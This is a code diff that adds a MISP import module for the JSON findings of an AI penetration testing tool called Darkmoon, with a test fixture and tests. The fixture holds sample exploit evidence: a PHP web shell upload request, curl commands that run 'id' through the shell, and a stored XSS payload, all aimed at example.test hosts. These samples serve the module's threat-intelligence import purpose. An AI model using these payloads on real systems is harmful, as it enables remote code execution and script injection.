new: [import_mod] Darkmoon JSON findings import module

misp_modules/modules/import_mod/darkmoon_import.py

@@ -0,0 +1,183 @@
+import base64
+import json
+
+from pymisp import MISPObject
+
+misperrors = {"error": "Error"}
+
+moduleinfo = {
+    "version": "0.1",
+    "author": "ASC-IT",
+    "description": "Module to import the JSON findings of the Darkmoon autonomous AI penetration testing platform.",
+    "module-type": ["import"],
+    "name": "Darkmoon Import",
+    "logo": "",
+    "requirements": ["PyMISP"],
+    "features": (
+        "Takes the JSON findings file written by the Darkmoon open source CLI (either a list of findings or an object"
+        " with a `findings` list) and creates one `vulnerability` object per finding, with the CVE, the CVSS score and"
+        " vector, the description, the remediation and the evidence that proves it. The endpoint of the finding is"
+        " added as a `url` object that the vulnerability affects. The severity, the exploitation status (exploited,"
+        " confirmed or unconfirmed) and the MITRE ATT&CK technique are added as tags."
+    ),
+    "references": ["https://github.com/ASCIT31/Dark-Moon"],
+    "input": "Darkmoon JSON findings file",
+    "output": "MISP vulnerability and url objects",
+}
+
+moduleconfig = []
+
+mispattributes = {
+    "inputSource": ["file"],
+    "output": ["MISP objects"],
+    "format": "misp_standard",
+}
+
+userConfig = {
+    "include_unconfirmed": {
+        "type": "Boolean",
+        "message": "Include findings whose exploitation could not be confirmed",
+        "checked": "true",
+    },
+}
+
+SEVERITIES = ("critical", "high", "medium", "low", "info")
+EXPLOITATION_STATUSES = {
+    "exploited": "proven with a working exploit",
+    "confirmed": "confirmed",
+    "unconfirmed": "not confirmed",
+}
+
+
+def _is_enabled(value, default=True):
+    if value is None:
+        return default
+    if isinstance(value, str):
+        return value.strip().lower() in ("1", "true", "yes", "on")
+    return bool(value)
+
+
+def get_findings(data):
+    """Return the list of findings of a Darkmoon report, or None when the data is not a Darkmoon report."""
+    if isinstance(data, dict):
+        data = data.get("findings")
+    if not isinstance(data, list) or not data:
+        return None
+    for finding in data:
+        # `discovered_by_agent` and the exploitation `status` are specific to Darkmoon
+        if not (
+            isinstance(finding, dict)
+            and finding.get("title")
+            and finding.get("discovered_by_agent")
+            and str(finding.get("status", "")).lower() in EXPLOITATION_STATUSES
+        ):
+            return None
+    return data
+
+
+def _description(finding):
+    parts = [str(finding.get("description") or "").strip()]
+    if finding.get("remediation"):
+        parts.append("Remediation: {}".format(str(finding["remediation"]).strip()))
+    if finding.get("evidence_explanation"):
+        parts.append("Evidence: {}".format(str(finding["evidence_explanation"]).strip()))
+    commands = finding.get("evidence_commands")
+    if isinstance(commands, list) and commands:
+        parts.append("Commands:\n{}".format("\n".join(str(command) for command in commands)))
+    elif commands:
+        parts.append("Commands:\n{}".format(commands))
+    if finding.get("evidence_logs"):
+        parts.append("Logs:\n{}".format(finding["evidence_logs"]))
+    if finding.get("raw_request"):
+        parts.append("Request:\n{}".format(finding["raw_request"]))
+    if finding.get("raw_response"):
+        parts.append("Response:\n{}".format(finding["raw_response"]))
+    return "\n\n".join(part for part in parts if part)
+
+
+def _tags(finding, status):
+    tags = ["darkmoon:exploitation-status={}".format(json.dumps(status))]
+    severity = str(finding.get("severity") or "").lower()
+    if severity in SEVERITIES:
+        tags.append("darkmoon:severity={}".format(json.dumps(severity)))
+    if finding.get("category"):
+        tags.append("darkmoon:category={}".format(json.dumps(str(finding["category"]))))
+    if finding.get("discovered_by_agent"):
+        tags.append("darkmoon:agent={}".format(json.dumps(str(finding["discovered_by_agent"]))))
+    technique = finding.get("mitre_attack_id")
+    if technique and finding.get("mitre_attack_name"):
+        tags.append(
+            "misp-galaxy:mitre-attack-pattern={}".format(
+                json.dumps("{} - {}".format(finding["mitre_attack_name"], technique))
+            )
+        )
+    return [{"name": tag} for tag in tags]
+
+
+def _references(finding):
+    references = []
+    if finding.get("cve"):
+        references.append("https://nvd.nist.gov/vuln/detail/{}".format(finding["cve"]))
+    technique = finding.get("mitre_attack_id")
+    if technique:
+        references.append("https://attack.mitre.org/techniques/{}/".format(str(technique).replace(".", "/")))
+    return references
+
+
+def parse_finding(finding):
+    """Convert one Darkmoon finding to a vulnerability object and, with an endpoint, the url object it affects."""
+    status = str(finding.get("status")).lower()
+    vulnerability = MISPObject("vulnerability", standalone=False, comment="created by darkmoon_import")
+    vulnerability.add_attribute("summary", value=str(finding["title"]), Tag=_tags(finding, status))
+    vulnerability.add_attribute("description", value=_description(finding))
+    if finding.get("cve"):
+        vulnerability.add_attribute("id", value=str(finding["cve"]))
+    if finding.get("cvss_score") is not None:
+        vulnerability.add_attribute("cvss-score", value=str(finding["cvss_score"]))
+    if finding.get("cvss_vector"):
+        vulnerability.add_attribute("cvss-string", value=str(finding["cvss_vector"]))
+    for reference in _references(finding):
+        vulnerability.add_attribute("references", value=reference)
+
+    objects = [vulnerability]
+    if finding.get("endpoint"):
+        url = MISPObject("url", standalone=False, comment="endpoint of the Darkmoon finding")
+        url.add_attribute("url", value=str(finding["endpoint"]))
+        vulnerability.add_reference(url.uuid, "affects")
+        objects.append(url)
+    return objects
+
+
+def handler(q=False):
+    if q is False:
+        return False
+    request = json.loads(q)
+    try:
+        report = json.loads(base64.b64decode(request["data"]).decode("utf-8"))
+    except (KeyError, ValueError):
+        misperrors["error"] = "The input is not a valid JSON file."
+        return misperrors
+    findings = get_findings(report)
+    if findings is None:
+        misperrors["error"] = "The input is not a Darkmoon JSON findings report."
+        return misperrors
+
+    config = request.get("config") or {}
+    include_unconfirmed = _is_enabled(config.get("include_unconfirmed"))
+
+    objects = []
+    for finding in findings:
+        if not include_unconfirmed and str(finding.get("status")).lower() == "unconfirmed":
+            continue
+        objects.extend(parse_finding(finding))
+    return {"results": {"Object": [json.loads(misp_object.to_json()) for misp_object in objects]}}
+
+
+def introspection():
+    mispattributes["userConfig"] = userConfig
+    return mispattributes
+
+
+def version():
+    moduleinfo["config"] = moduleconfig
+    return moduleinfo

tests/darkmoon_findings.json

@@ -0,0 +1,61 @@
+{
+  "findings": [
+    {
+      "title": "Unauthenticated remote code execution in file upload handler",
+      "severity": "critical",
+      "cvss_score": 9.8,
+      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
+      "category": "remote_code_execution",
+      "status": "exploited",
+      "description": "The /upload endpoint writes the client supplied filename to disk without sanitisation, which allows a PHP web shell to be dropped and executed.",
+      "endpoint": "https://app.example.test/upload",
+      "discovered_by_agent": "php",
+      "remediation": "Validate and normalise uploaded filenames, store uploads outside the web root and disable script execution in the upload directory.",
+      "evidence_commands": [
+        "curl -s -F 'file=@shell.php;filename=shell.php' https://app.example.test/upload",
+        "curl -s 'https://app.example.test/uploads/shell.php?cmd=id'"
+      ],
+      "evidence_logs": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
+      "evidence_explanation": "A PHP web shell was uploaded and executed with the id command, confirming code execution as www-data.",
+      "cve": "CVE-2026-12345",
+      "mitre_attack_id": "T1190",
+      "mitre_attack_name": "Exploit Public-Facing Application",
+      "iso27001_control": "A.8.26",
+      "node_id": "finding-0001",
+      "plugin_or_component": "upload-handler",
+      "raw_request": "POST /upload HTTP/1.1\nHost: app.example.test\nContent-Type: multipart/form-data; boundary=x\n\n--x\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\n\n<?php system($_GET['cmd']); ?>\n--x--",
+      "raw_response": "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"stored\":\"/uploads/shell.php\"}"
+    },
+    {
+      "title": "Stored cross-site scripting in profile display name",
+      "severity": "high",
+      "cvss_score": 8.2,
+      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
+      "category": "xss_stored",
+      "status": "confirmed",
+      "description": "The display name is rendered unescaped on the public profile page, so a script payload saved in the field executes for every visitor.",
+      "endpoint": "https://app.example.test/profile/42",
+      "discovered_by_agent": "nodejs",
+      "remediation": "HTML-encode user supplied values on output and add a restrictive Content-Security-Policy.",
+      "evidence_commands": [
+        "curl -s -X POST https://app.example.test/api/profile -d 'name=<svg onload=alert(1)>'"
+      ],
+      "evidence_explanation": "The payload was stored and reflected unescaped in the profile HTML.",
+      "mitre_attack_id": "T1059.007",
+      "mitre_attack_name": "JavaScript",
+      "node_id": "finding-0002"
+    },
+    {
+      "title": "Server-side request forgery in URL preview feature",
+      "severity": "medium",
+      "cvss_score": 6.5,
+      "category": "ssrf",
+      "status": "unconfirmed",
+      "description": "The link preview fetcher follows user supplied URLs, including internal addresses. Reaching the cloud metadata service could not be confirmed.",
+      "endpoint": "https://api.example.test/v1/preview?url=http://example.org",
+      "discovered_by_agent": "nodejs",
+      "remediation": "Resolve and validate the target host against an allow list and block link-local and private address ranges.",
+      "node_id": "finding-0003"
+    }
+  ]
+}

tests/test_darkmoon_import.py

@@ -0,0 +1,82 @@
+import base64
+import json
+from pathlib import Path
+
+from misp_modules.modules.import_mod import darkmoon_import
+
+FIXTURE = Path(__file__).parent / "darkmoon_findings.json"
+
+
+def _request(data, **config):
+    return json.dumps({"data": base64.b64encode(data).decode(), "config": config})
+
+
+def _objects(result, name):
+    return [obj for obj in result["results"]["Object"] if obj["name"] == name]
+
+
+def _values(obj, relation):
+    return [attribute["value"] for attribute in obj["Attribute"] if attribute["object_relation"] == relation]
+
+
+def test_import_findings():
+    result = darkmoon_import.handler(_request(FIXTURE.read_bytes()))
+    vulnerabilities = _objects(result, "vulnerability")
+    urls = _objects(result, "url")
+    assert len(vulnerabilities) == 3
+    assert len(urls) == 3
+
+    rce = vulnerabilities[0]
+    assert _values(rce, "summary") == ["Unauthenticated remote code execution in file upload handler"]
+    assert _values(rce, "id") == ["CVE-2026-12345"]
+    assert _values(rce, "cvss-score") == ["9.8"]
+    assert _values(rce, "cvss-string") == ["CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"]
+    assert _values(rce, "references") == [
+        "https://nvd.nist.gov/vuln/detail/CVE-2026-12345",
+        "https://attack.mitre.org/techniques/T1190/",
+    ]
+    description = _values(rce, "description")[0]
+    assert "Remediation: Validate and normalise uploaded filenames" in description
+    assert "Commands:\ncurl -s -F" in description
+    assert "Logs:\nuid=33(www-data)" in description
+
+    summary = next(a for a in rce["Attribute"] if a["object_relation"] == "summary")
+    tags = {tag["name"] for tag in summary["Tag"]}
+    assert 'darkmoon:exploitation-status="exploited"' in tags
+    assert 'darkmoon:severity="critical"' in tags
+    assert 'misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"' in tags
+
+    assert _values(urls[0], "url") == ["https://app.example.test/upload"]
+    reference = rce["ObjectReference"][0]
+    assert reference["relationship_type"] == "affects"
+    assert reference["referenced_uuid"] == urls[0]["uuid"]
+
+    ssrf = vulnerabilities[2]
+    assert _values(ssrf, "id") == []
+    assert _values(ssrf, "cvss-string") == []
+    assert _values(ssrf, "references") == []
+
+
+def test_accepts_bare_list_of_findings():
+    findings = json.loads(FIXTURE.read_text())["findings"]
+    result = darkmoon_import.handler(_request(json.dumps(findings).encode()))
+    assert len(_objects(result, "vulnerability")) == 3
+
+
+def test_exclude_unconfirmed():
+    result = darkmoon_import.handler(_request(FIXTURE.read_bytes(), include_unconfirmed=False))
+    summaries = [_values(obj, "summary")[0] for obj in _objects(result, "vulnerability")]
+    assert len(summaries) == 2
+    assert "Server-side request forgery in URL preview feature" not in summaries
+
+
+def test_rejects_other_json():
+    gitleaks_like = json.dumps({"findings": [{"title": "x", "severity": "high"}]}).encode()
+    assert "error" in darkmoon_import.handler(_request(gitleaks_like))
+    assert "error" in darkmoon_import.handler(_request(b"{}"))
+    assert "error" in darkmoon_import.handler(_request(b"not json"))
+
+
+def test_introspection_and_version():
+    assert darkmoon_import.introspection()["format"] == "misp_standard"
+    assert darkmoon_import.version()["module-type"] == ["import"]